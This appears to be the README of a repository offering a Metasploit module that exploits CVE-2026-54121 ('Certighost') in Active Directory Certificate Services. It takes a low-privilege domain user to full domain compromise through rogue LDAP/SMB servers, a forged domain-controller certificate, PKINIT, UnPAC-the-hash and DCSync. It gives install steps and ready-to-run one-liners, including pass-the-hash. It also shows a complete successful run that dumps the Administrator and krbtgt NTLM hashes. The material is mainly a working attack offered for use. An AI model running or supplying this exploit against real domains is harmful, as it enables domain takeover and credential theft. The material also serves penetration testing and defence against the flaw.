Metasploit-CVE-2026-54121-Certighost

O Certighost foi originalmente descoberto e explorado por h0j3n e Aniq Fakhrul. Este repositório contém um módulo auxiliar do Metasploit que eleva qualquer usuário de domínio com baixos privilégios ao comprometimento total do domínio ao abusar do fallback de "chase" da inscrição do AD CS. A CA pode ser coagida a autenticar de volta para uma infraestrutura controlada pelo atacante e, em seguida, emitir um certificado que se passa por um Controlador de Domínio. Esse certificado é usado para PKINIT, o UnPAC-the-hash recupera o hash NT do DC, e o DCSync faz o resto.

Instalação

mkdir -p ~/.msf4/modules/auxiliary/admin/dcerpc
cp cve_2026_54121_certighost.rb ~/.msf4/modules/auxiliary/admin/dcerpc/

Verifique se ele é analisado e carregado corretamente:

ruby -c ~/.msf4/modules/auxiliary/admin/dcerpc/cve_2026_54121_certighost.rb

msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2026_54121_certighost; show options; exit"

As portas 389 e 445 são privilegiadas, portanto o módulo deve ser executado como root.

Uso

Autenticação por senha

Comando de uma linha do MSF

sudo msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2026_54121_certighost; set DOMAIN corp.local; set USERNAME jdoe; set PASSWORD 'Passw0rd!'; set DC_IP 10.0.0.10; set ACTION FULL; run" 

Executando msfconsole

use auxiliary/admin/dcerpc/cve_2026_54121_certighost
set DOMAIN corp.local
set USERNAME jdoe
set PASSWORD 'Passw0rd!'
set DC_IP 10.0.0.10
set ACTION FULL
run

Pass-the-hash

Comando de uma linha do MSF

sudo msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2026_54121_certighost; set DOMAIN corp.local; set USERNAME jdoe; set NTLM_HASH 69289a87353c7083842956a62652d46c; set DC_IP 10.0.0.10; set ACTION FULL; run"

Executando msfconsole

use auxiliary/admin/dcerpc/cve_2026_54121_certighost
set DOMAIN corp.local
set USERNAME jdoe
set NTLM_HASH 69289a87353c7083842956a62652d46c
set DC_IP 10.0.0.10
set ACTION FULL
run

NTLM_HASH aceita um hash NT puro, :NT ou LM:NT. Quando tanto PASSWORD quanto NTLM_HASH estão definidos, o hash vence.

Somente certificado

Útil quando você quiser o certificado para uso offline ou posterior:

sudo msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2026_54121_certighost; set DOMAIN corp.local; set USERNAME jdoe; set PASSWORD 'Passw0rd!'; set DC_IP 10.0.0.10; set ACTION REQUEST_CERT; run"

---

Exemplos

Exploração bem-sucedida

$ msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2026_54121_certighost; set DOMAIN contoso.lab; set USERNAME lowpriv; set PASSWORD Abc123,./; set DC_IP 192.168.10.10; set ACTION FULL;  run"

[*] Starting persistent handler(s)...
[*] Setting default action FULL - view all 3 actions with the show actions command
DOMAIN => contoso.lab
USERNAME => lowpriv
PASSWORD => Abc123,./
DC_IP => 192.168.10.10
ACTION => FULL
[*] Certighost (CVE-2026-54121)
[*] Step 1: Discovering infrastructure via LDAP...
[*]   Discovering CA...
[+]     Found CA: ContosoCert-CA (DC01.contoso.lab)
[*]   Discovering target DC...
[+]     Target DC: DC01$ (DC01.contoso.lab)
[+]   CA:      ContosoCert-CA (192.168.10.10)
[+]   Target:  DC01$
[+]   Domain SID: S-1-5-21-2005457936-2008376057-2514283296
[*] Step 2: Creating machine account via SAMR...
[+] Successfully created contoso.lab\GHOSTGQJZBJLO$
[+]   Password: CGf0a69633d2Aa1
[+]   SID:      S-1-5-21-2005457936-2008376057-2514283296-1756
[+]   Created: contoso.lab\GHOSTGQJZBJLO$
[*] Step 3: Starting rogue servers...
[*]   Listener IP: 192.168.44.128
[+]   Rogue LDAP server: 192.168.44.128:389
[+]   Rogue SMB server:  192.168.44.128:445
[*]   Pre-flighting Netlogon oracle...
[*] Connecting to the endpoint mapper service...
[+]   Netlogon oracle ready
[*] Step 4: Requesting certificate via ICertPassage...
[+]   Certificate issued!
[+]   PFX (loot):  /root/.msf4/loot/20260731030034_default_192.168.10.10_windows.ad.cs_287527.pfx
[+]   PFX (local): /root/DC01_certighost.pfx
[+]   Subject: /CN=DC01.contoso.lab
[+]   Issuer:  /DC=lab/DC=contoso/CN=ContosoCert-CA
[*] Step 5: Performing PKINIT as DC01$...
[+]   PKINIT successful - TGT for [email protected]
[+]   ccache saved: /root/DC01.ccache
[*]   Extracting NT hash from PAC...
[+] 192.168.10.10:88 - Received a valid TGS-Response
[*] 192.168.10.10:445 - TGS MIT Credential Cache ticket saved to /root/.msf4/loot/20260731030034_default_192.168.10.10_mit.kerberos.cca_639932.bin
[+]   NT Hash: dc01$:aad3b435b51404eeaad3b435b51404ee:846704be57649a259c45b8ce773dcf8d
[*] Step 6: Performing DCSync...
[*]   Running DCSync as contoso.lab\DC01$ (output shown when complete)...
# NTLM hashes:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8c3efc486704d2ee71eebe71af14d86c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:72446150d4b9a4dae4f0472fbb01b072:::
contoso.lab\lowpriv:1105:aad3b435b51404eeaad3b435b51404ee:69289a87353c7083842956a62652d46c:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:846704be57649a259c45b8ce773dcf8d:::
DESKTOP-JSB2FG3$:1106:aad3b435b51404eeaad3b435b51404ee:b7ca2860c012a21801407b5f5c45c453:::
GHOSTQMSEUHWX$:1751:aad3b435b51404eeaad3b435b51404ee:3e5e99d282391e10226f3d40111196ee:::
GHOSTGQJZBJLO$:1756:aad3b435b51404eeaad3b435b51404ee:cbe6ca2d2dffb6069be63ee0700a05cb:::
# Password history (pwdump format - uid:rid:lmhash:nthash:::):
Administrator_history0:500:aad3b435b51404eeaad3b435b51404ee:8c3efc486704d2ee71eebe71af14d86c:::
contoso.lab\lowpriv_history0:1105:82e343ae06e69d44033ee76a390286a8:8c3efc486704d2ee71eebe71af14d86c:::
DC01$_history0:1000:aad3b435b51404eeaad3b435b51404ee:3795fa26828ec5e8bf0dc948d2d82bbe:::
DESKTOP-JSB2FG3$_history0:1106:dbfadcdb0dd4f78c286e856dcc5ece74:a175b9f66ecd598f5bcf8185d0e2e322:::
[+]   DCSync complete - 26 secret line(s) shown, others suppressed for opsec
[*]   (SIDs, full pwdump, account info and kerberos-key sections hidden)
[*] Cleaning up: deleting GHOSTGQJZBJLO$ as Administrator (Administrator hash from DCSync)...
[+] The specified account has been deleted.
[+]   Deleted GHOSTGQJZBJLO$
[*] Auxiliary module execution completed

Opções

msf auxiliary(admin/dcerpc/cve_2026_54121_certighost) > show options

Module options (auxiliary/admin/dcerpc/cve_2026_54121_certighost):